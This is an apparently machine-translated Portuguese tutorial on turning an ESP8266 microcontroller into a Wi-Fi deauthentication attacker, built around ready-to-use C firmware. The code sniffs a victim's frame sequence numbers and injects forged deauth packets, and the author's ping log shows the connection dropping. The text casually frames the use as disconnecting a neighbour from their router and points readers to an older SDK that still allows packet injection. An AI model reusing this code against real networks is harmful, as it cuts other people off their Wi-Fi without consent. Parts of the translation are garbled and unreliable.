Eu acho que muitos concordam que o ESP-8266 é uma grande invenção para DIY e a Internet das coisas. Um tipo de sensor WiFi que pode ser conectado ao Arduino ou até usado em vez do Arduino para enviar, via de regra, dados meteorológicos ao servidor. Existem muitos firmwares diferentes que permitem fazer isso: desde o modem de estoque usado em conjunto com o Arduino, NodeMCU para seguidores da LUA, até vários servidores da Web totalmente atendidos pelo ESP ( exemplo ).
Como regra, depois de receber um microcontrolador em miniatura da China, é improvável que você queira escrever seu próprio firmware e usará um dos disponíveis. Há duas razões para isso: não importa o que você pensa, ele já foi implementadoe é improvável que você queira lidar com o SDK chinês temperado generosamente com muletas e recursos não documentados. E não se confunda com o design atraente do site : escrever firmware para ESP é doloroso. Se isso não assustar você, então seja bem-vindo. O artigo é voltado para o arduino com experiência mínima em ESP: você já sabe coletar firmware e escrevê-lo no microcontrolador.Como você pode ver no cabeçalho, trabalharemos diretamente com a pilha 802.11, tanto quanto possível no caso do ESP. Modo promíscuo no ESP - a capacidade de enviar e receber pacotes de dados "alienígenas" do ar. Não existem muitas áreas de aplicação: análise estatística (coleta de todos os tipos de dados, como congestionamentos dependendo da frequência) e penetração e invasão de redes. Neste último caso, um passatempo típico de script infantil é a desautenticação (desconexão) de um vizinho de seu roteador WiFi enquanto ele joga DotA / tanques. Normalmente, para isso, a cabeça brilhante instala o Kali Linux e usa o conjunto de pulos air * -ng; usaremos um controlador em miniatura.Para isso, além do hardware, precisaremos de uma API (usei a Referência da API do SDK do ESP8266 que não é do SO , o link poderá se romper muito em breve) e um maravilhoso projeto esp-open-sdk que fará a maior parte da montagem do projeto para você. Um projeto semi-acabado (por razões éticas) com base nos resultados desta publicação pode ser encontrado no github .Então deauth. Quem não sabe - interrompaSua conexão WiFi é possível usando algumas dezenas de bytes de dados enviados ao ar nas proximidades. A criptografia não salva por razões puramente conceituais: o deauth é fornecido nos casos em que a comunicação é ruim e os pacotes são perdidos. Portanto, é necessário um mecanismo eficaz para gritar para o cliente "Estou cansado de tudo" e iniciar a conexão do zero. E aqui não depende de criptografia. No nosso caso, fingiremos que o ponto de acesso não aguentou e, em nome dele, enviaremos uma carta ao cliente satisfeito. A estrutura do pacote é a seguinte:[0xC0, 0x00] + two_random_bytes + client_MAC_address + (ap_MAC_address * 2) + [seq_N_lo] + [seq_N_hi] + [0x01, 0x00]
O próprio ganancioso por conhecimento encontrará o que significam constantes mágicas, mas descreverei brevemente as variáveis:- two_random_bytes serão substituídos pelo microcontrolador;
- client_MAC_address 6 bytes do endereço físico do dispositivo MAC do cliente;
- ap_MAC_address 6 bytes do endereço físico do dispositivo MAC do servidor (roteador, ponto de acesso);
- seq_N_lo, oi alto e baixo bytes de seq_n, número de série do pacote multiplicado por 16 (os 4 bits menos significativos são reservados para a possibilidade de enviar o mesmo pacote novamente)
EntãoEtapa 1: coloque o ESP no modo de estação
Após comentários discretos de amigos chineses, isso é simplesmente necessário (sem explicação).void ICACHE_FLASH_ATTR
user_init()
{
uart_init(115200, 115200);
os_printf("\n\nSDK version:%s\n", system_get_sdk_version());
wifi_set_opmode(STATION_MODE);
os_timer_disarm(&deauth_timer);
os_timer_setfn(&deauth_timer, (os_timer_func_t *) deauth, NULL);
os_timer_arm(&deauth_timer, DEAUTH_INTERVAL, 1);
system_init_done_cb(sniffer_system_init_done);
}
Entre outras coisas, definimos a velocidade de entrada / saída da série aqui para poder ler mensagens de depuração, usar o timer interno para chamar o método deauth a cada DEAUTH_INTERVAL milissegundos e deixar o ESP farfalhar antes de prosseguir para o segundo estágio de inicialização.Porque, user-defined ESP , WiFi , . while(1) watchdog .
Etapa 2: coloque o ESP no modo promíscuo
Para isso, definimos a função sniffer_system_init_done que foi usada anteriormente.void ICACHE_FLASH_ATTR
sniffer_system_init_done(void)
{
wifi_set_channel(channel);
wifi_promiscuous_enable(0);
wifi_set_promiscuous_rx_cb(promisc_cb);
wifi_promiscuous_enable(1);
}
Aqui, configuramos a banda WiFi (canal de transmissão / recepção de dados, consulte as instruções para o seu país), registramos o retorno de chamada para receber pacotes promisc_cb e executamos o modo promíscuo. Por que precisamos desse retorno de chamada?Etapa 3: farejar os pacotes
Um dos parâmetros deauth do pacote, seq_n, implica que recebemos pacotes anteriores e sabemos o número de série do próximo. Para isso, precisamos ouvir a conexão de outra pessoa e gravar este seq_n.static void ICACHE_FLASH_ATTR
promisc_cb(uint8_t *buf, uint16_t len)
{
if (len == 12){
struct RxControl *sniffer = (struct RxControl*) buf;
} else if (len == 128) {
struct sniffer_buf2 *sniffer = (struct sniffer_buf2*) buf;
} else {
struct sniffer_buf *sniffer = (struct sniffer_buf*) buf;
int i=0;
for (i=0; i<6; i++) if (sniffer->buf[i+4] != client[i]) return;
for (i=0; i<6; i++) if (sniffer->buf[i+10] != ap[i]) return;
seq_n = sniffer->buf[23] * 0xFF + sniffer->buf[22];
}
}
A cascata de ifs está associada à magia negra com uma variedade de padrões 802.11. Obviamente, o ESP suporta apenas o conjunto mais necessário e não funciona, digamos, com uma frequência de 5Ghz. Descrições de todas as estruturas estão disponíveis na documentação e nos exemplos, mas precisamos de uma pequena: o campo de dados sniffer-> buf neste caso. Verificamos que o pacote veio do ponto de acesso e foi enviado à nossa vítima e, nesse caso, escrevemos 2 bytes de seq_n. A propósito, pacotes na direção oposta têm uma numeração separada.Etapa 4: enviar
A única coisa é enviar o pacote.uint16_t deauth_packet(uint8_t *buf, uint8_t *client, uint8_t *ap, uint16_t seq)
{
int i=0;
buf[0] = 0xC0;
buf[1] = 0x00;
buf[2] = 0x00;
buf[3] = 0x00;
for (i=0; i<6; i++) buf[i+4] = client[i];
for (i=0; i<6; i++) buf[i+10] = ap[i];
for (i=0; i<6; i++) buf[i+16] = ap[i];
buf[22] = seq % 0xFF;
buf[23] = seq / 0xFF;
buf[24] = 1;
buf[25] = 0;
return 26;
}
void deauth(void *arg)
{
os_printf("\nSending deauth seq_n = %d ...\n", seq_n/0x10);
uint16_t size = deauth_packet(packet_buffer, client, ap, seq_n+0x10);
wifi_send_pkt_freedom(packet_buffer, size, 0);
}
A primeira função grava os dados necessários no buffer, a segunda os envia.Etapa 5: verificar
Para testar o desempenho, usei meu próprio computador.Os resultados falam por siPING 192.168.2.1 (192.168.2.1) 56(84) bytes of data.
64 bytes from 192.168.2.1: icmp_seq=1 ttl=64 time=71.5 ms
64 bytes from 192.168.2.1: icmp_seq=2 ttl=64 time=3.24 ms
64 bytes from 192.168.2.1: icmp_seq=3 ttl=64 time=0.754 ms
64 bytes from 192.168.2.1: icmp_seq=4 ttl=64 time=0.648 ms
64 bytes from 192.168.2.1: icmp_seq=5 ttl=64 time=0.757 ms
64 bytes from 192.168.2.1: icmp_seq=6 ttl=64 time=0.822 ms
64 bytes from 192.168.2.1: icmp_seq=7 ttl=64 time=0.734 ms
64 bytes from 192.168.2.1: icmp_seq=8 ttl=64 time=0.759 ms
64 bytes from 192.168.2.1: icmp_seq=9 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=10 ttl=64 time=0.772 ms
64 bytes from 192.168.2.1: icmp_seq=11 ttl=64 time=0.732 ms
64 bytes from 192.168.2.1: icmp_seq=12 ttl=64 time=0.739 ms
64 bytes from 192.168.2.1: icmp_seq=13 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=14 ttl=64 time=0.621 ms
64 bytes from 192.168.2.1: icmp_seq=15 ttl=64 time=2.19 ms
64 bytes from 192.168.2.1: icmp_seq=16 ttl=64 time=0.710 ms
64 bytes from 192.168.2.1: icmp_seq=17 ttl=64 time=0.740 ms
64 bytes from 192.168.2.1: icmp_seq=18 ttl=64 time=0.742 ms
no answer yet for icmp_seq=19
no answer yet for icmp_seq=20
no answer yet for icmp_seq=21
no answer yet for icmp_seq=22
no answer yet for icmp_seq=23
no answer yet for icmp_seq=24
no answer yet for icmp_seq=25
no answer yet for icmp_seq=26
no answer yet for icmp_seq=27
no answer yet for icmp_seq=28
no answer yet for icmp_seq=29
no answer yet for icmp_seq=30
no answer yet for icmp_seq=31
no answer yet for icmp_seq=32
no answer yet for icmp_seq=33
no answer yet for icmp_seq=34
no answer yet for icmp_seq=35
no answer yet for icmp_seq=36
no answer yet for icmp_seq=37
no answer yet for icmp_seq=38
64 bytes from 192.168.2.1: icmp_seq=39 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=40 ttl=64 time=3.53 ms
64 bytes from 192.168.2.1: icmp_seq=41 ttl=64 time=2.03 ms
64 bytes from 192.168.2.1: icmp_seq=42 ttl=64 time=1.98 ms
64 bytes from 192.168.2.1: icmp_seq=43 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=44 ttl=64 time=1.99 ms
64 bytes from 192.168.2.1: icmp_seq=45 ttl=64 time=6.96 ms
Para uma análise objetiva, você pode usar o Wireshark:
O pacote é visível exatamente no formulário em que o enviamos.Então isso realmente funciona? Não. Nas versões atuais do SDK está quebrado pofiksili. Pacotes de transmissão podem ser enviados, mas nada mais. Mas o antigo SDK foi cuidadosamente preservado e disponível como parte do exemplo no GitHub . Use com cuidado.